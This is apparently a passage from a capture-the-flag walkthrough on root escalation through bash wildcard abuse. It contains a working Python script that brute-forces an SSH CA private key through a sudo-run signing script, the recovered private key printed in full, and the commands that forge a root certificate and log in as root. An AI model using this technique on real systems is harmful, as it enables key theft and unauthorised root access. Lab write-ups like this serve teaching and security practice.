Bash Wildcard Expansion Globbing Abuse


import string
import subprocess
 
header = "-----BEGIN OPENSSH PRIVATE KEY-----"
footer = "-----END OPENSSH PRIVATE KEY-----"
b64chars = string.ascii_letters + string.digits + "+/="
key = []
lines = 0
while True:
    for char in b64chars:
        with open("unknown.key", "w") as f:
            f.write(f"{header}\n{''.join(key)}{char}*")
        proc = subprocess.Popen("sudo /opt/sign_key.sh unknown.key ca-itrc root root_user 1",
                                stdout=subprocess.PIPE,
                                stderr=subprocess.PIPE,
                                shell=True)
        stdout, stderr = proc.communicate()
        if proc.returncode == 1:
            key.append(char)
            if len(key) > 1 and (len(key) - lines) % 70 == 0:
                key.append("\n")
                lines += 1
            break
    else:
        break
print(f"{header}\n{''.join(key)}\n{footer}")
with open("unknown.key", "w") as f:
    f.write(f"{header}\n{''.join(key)}\n{footer}")

The exploit works by taking advantage of how the bash script processes the provided ca_file parameter. Specifically:

  • Wildcard Expansion:
    • The *.key pattern in the ca_file input exploits the Bash script’s handling of file inputs, where the wildcard * can be expanded by the shell to match filenames. This is a classic example of a wildcard injection or globbing attack.
  • Command Injection:
    • By iteratively building the key and checking the script’s response, the attacker can determine valid characters in the key, effectively brute-forcing the SSH private key.

  • The script constructs the key character by character by trying each base64 character and checking if it matches the unknown private key.
  • It writes the partial key to a file (unknown.key) and appends a wildcard * to the end.
  • It then calls the vulnerable Bash script (/opt/sign_key.sh) with the crafted key.
  • If the Bash script exits with status code 1, it means the current character is correct, and it continues to build the key. If not, it tries the next character.
  • Once the script has finished building the key, it prints and writes the final key to the file unknown.key.
zzinter@ssg:/dev/shm$ nano ca-itrc

I will first transfer the old, decommissioned CA key

zzinter@ssg:/dev/shm$ python3 pe.py

Executing the exploit script

zzinter@ssg:/dev/shm$ cat unknown.key
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAKg7BlysOwZc
rAAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQ
AAAEBexnpzDJyYdz+91UG3dVfjT/scyWdzgaXlgx75RjYOo4Hg8Cudy1ShyYfqzC3ANlgA
cW7Q4MoZuezAE8mNFSmxAAAAIkdsb2JhbCBTU0cgU1NIIENlcnRmaWNpYXRlIGZyb20gSV
QBAgM=
-----END OPENSSH PRIVATE KEY-----
 
zzinter@ssg:/dev/shm$ mv unknown.key ca.key

It generated the unknown.key file, which matches the original CA key. I will rename it to ca.key

zzinter@ssg:/dev/shm$ ssh-keygen -s ./ca.key -z 1 -I root -V -1w:forever -n root_user ./ca-itrc
Signed user key ./ca-itrc-cert.pub: id "root" serial 1 for root_user valid after 2024-07-29T20:19:50

Now, manually signing the old, decommission key, ca-itrc, with the new CA private key. It generates the ca-itrc-cert.pub file, which is the signed user key for SSH use

zzinter@ssg:/dev/shm$ chmod 600 ./ca.key ./ca-itrc ./ca-itrc-cert.pub

Changing the permission bits to 600 for all those key files

zzinter@ssg:/dev/shm$ ssh root@localhost -o CertificateFile=ca-itrc-cert.pub -i ca-itrc -p 2222
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64)
 
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro
 
 System information as of Mon Aug  5 08:17:09 PM UTC 2024
 
  System load:           0.18
  Usage of /:            67.5% of 10.73GB
  Memory usage:          13%
  Swap usage:            0%
  Processes:             259
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.27
  IPv6 address for eth0: dead:beef::250:56ff:fe94:b296
 
 
Expanded Security Maintenance for Applications is not enabled.
 
0 updates can be applied immediately.
 
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
 
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
 
 
Last login: Tue Jul 30 08:44:01 2024
root@ssg:~# whoami
root
root@ssg:~# hostname
ssg
root@ssg:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:94:b2:96 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.10.11.27/23 brd 10.10.11.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:fe94:b296/64 scope global dynamic mngtmpaddr
       valid_lft 86399sec preferred_lft 14399sec
    inet6 fe80::250:56ff:fe94:b296/64 scope link
       valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
    link/ether 02:42:c5:07:9b:93 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
4: br-495f2e886a97: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
    link/ether 02:42:af:6f:f7:09 brd ff:ff:ff:ff:ff:ff
    inet 172.21.0.1/16 brd 172.21.255.255 scope global br-495f2e886a97
       valid_lft forever preferred_lft forever
5: br-eecf04b75daf: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:6f:e5:10:85 brd ff:ff:ff:ff:ff:ff
    inet 172.223.0.1/16 brd 172.223.255.255 scope global br-eecf04b75daf
       valid_lft forever preferred_lft forever
    inet6 fe80::42:6fff:fee5:1085/64 scope link
       valid_lft forever preferred_lft forever
7: vethc7e6592@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-eecf04b75daf state UP group default
    link/ether 06:9d:ac:42:f1:28 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::49d:acff:fe42:f128/64 scope link
       valid_lft forever preferred_lft forever
9: vethc670302@if8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-eecf04b75daf state UP group default
    link/ether 26:04:29:a4:8d:7b brd ff:ff:ff:ff:ff:ff link-netnsid 1
    inet6 fe80::2404:29ff:fea4:8d7b/64 scope link
       valid_lft forever preferred_lft forever

System Level Compromise